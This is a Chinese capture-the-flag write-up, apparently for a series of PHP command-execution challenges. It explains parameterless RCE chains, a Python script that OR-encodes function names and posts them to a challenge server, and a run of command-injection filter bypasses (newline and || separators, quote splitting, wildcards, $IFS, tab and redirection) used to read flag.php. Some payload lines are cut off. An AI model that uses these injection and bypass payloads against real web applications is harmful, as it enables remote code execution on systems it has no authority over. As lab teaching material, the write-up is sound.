题目过滤了很多
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这题的考点是无参数RCE
参考https://www.cnblogs.com/NPFS/p/13778333.html
无参数的意思可以是a()、a(b())或a(b(c())),但不能是a('b')或a('b','c'),不能带参数
print_r(scandir('.'))
可以用来查看当前目录所有文件名
接下来需要将括号中的.
替代掉
localeconv()
函数返回一包含本地数字及货币格式信息的数组
例如
[int_frac_digits] => 127 用于指示小数部分的最大位数 其他同理
那么我们可利用localeconv()
函数返回数组中的第一个小数点代替读取目录函数print_r(scandir('.'))
中的参数.
那么如何将数组中的第一个元素读取出来呢?可以使用以下函数:
current()函数返回数组中的当前元素/单元,默认取第一个值;
pos()函数同上,是current()函数的别名;
reset()函数,当数组不为空时返回数组第一个单元的值,如果数组为空则返回FALSE
构造:print_r(scandir(current(localeconv())));
print_r(scandir(pos(localeconv())));
print_r(scandir(reset(localeconv())));
//以上函数均可查看当前目录文件
可以得到flag.php位于数组的第三个值里,也就是倒数第二个,我们可以通过array_reverse()
函数以相反的元素顺序返回数组,在用next()
函数读取下一个元素,最后通过highlight_file()
函数读取到flag.php
/?c=highlight_file(next(array_reverse(scandir(current(localeconv())))));
highlight_file 的别名show_source
/?c=show_source(next(array_reverse(scandir(current(localeconv())))));
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
过滤了^
、+
、~
、$
、[
、]
、{
、}
、&
、-等
屏蔽的比较多,我们可以跑脚本来生成可用字符的集合
。
思路是:
从所有字符(ASCII[0-255])
中排除掉被过滤的,然后再判断或运算得到的字符是否为可见字符。
=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
我们通过源码可以发现,没有过滤或运算|
,因此脚本中设置的mode为1,也就是或运算,运行此脚本。
import re
import requests
url="http://b158b18a-656f-48e7-8a1c-0968db46fff1.challenge.ctf.show/"
a=[]
ans1=""
ans2=""
for i in range(0,256):
c=chr(i)
tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-',c, re.I)
if(tmp):
continue
#print(tmp.group(0))
else:
a.append(i)
# eval("echo($c);");
mya="system" #函数名 这里修改!
myb="ls" #参数
def myfun(k,my):
global ans1
global ans2
for i in range (0,len(a)):
for j in range(i,len(a)):
if(a[i]|a[j]==ord(my[k])):
ans1+=chr(a[i])
ans2+=chr(a[j])
return;
for k in range(0,len(mya)):
myfun(k,mya)
data1="(\""+ans1+"\"|\""+ans2+"\")"
ans1=""
ans2=""
for k in range(0,len(myb)):
myfun(k,myb)
data2="(\""+ans1+"\"|\""+ans2+"\")"
data={"c":data1+data2}
r=requests.post(url=url,data=data)
print(r.text)
运行结果
修改参数
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
0表示键盘输入,1表示屏幕输出,2表示错误输出!
‘ > ’ 默认标准输出重定向,与1>相同
2>&1 意思是把标准错误输出重定向到标准输出
&>file 意思是把标准输出和标准错误输出都重定向到文件file中
> 代表重定向到哪里
/dev/null 代表空设备文件
2> 表示stderr标准错误
& 表示等同于的意思,2>&1,表示2的输出重定向等同于1
1 表示stdout标准输出,系统默认值是1,所以>/dev/null等同于 1>/dev/null
因此,>/dev/null 2>&1 也可以写成1> /dev/null 2> &1
本题语句执行过程为:
1>/dev/null :首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,不显示任何信息。
2>&1 : 接着,标准错误输出重定向到标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件。
所以我们要让命令回显,那么进行命令分隔即可,就是截断
截断方法:&&、||、%0a 等
?c=cat flag.php%0a
?c=cat flag.php||
?c=cat flag.php%26
?c=cat flag.php%26%26
?c=cat flag.php;
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这次还过滤了cat
和;
,因此我们可以用nl或者c"a"t来绕过:
?c=nl flag.php%0a
?c=c"a"t flag.php%0a
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这次又过滤了flag
字符串,我们可以用通配符*
补位从而绕过:
?c=c"a"t fl*.php%0a
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
本题的过滤条件:;
、cat
、flag
、空格
我们可以用$IFS
来绕过空格:
?c=echo$IFS`tac$IFS*`%0A
?c=c"a"t$IFS$fl*.php%0A
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤条件: cat
、flag
、空格
、数字
、$
、*
绕过空格现在不能用$IFS
绕过,但是可以用<>
和%09
绕过(注意<和?不能连用,而%09
不被过滤是因为上传到服务器就是tab键
,不算数字)
payload
?c=nl
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤条件:分号
、flag
、空格
、数字
、$
、*
、more
、less
、head
、sort
、tail
绕过了,但是又好像没绕,上一题的payload也适用于这题:
?c=nl
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
上面的payload适用
?c=nl
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
没变
?c=nl
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤条件:分号、cat、flag、空格、数字、$、*、more、less、head、sort、tail、sed、cut、awk、strings、od、curl、%、%09、&(编码后为%26)和/`
因为%09被过滤,空格只能用<绕过,只能使用上题的第一个payload
?c=nl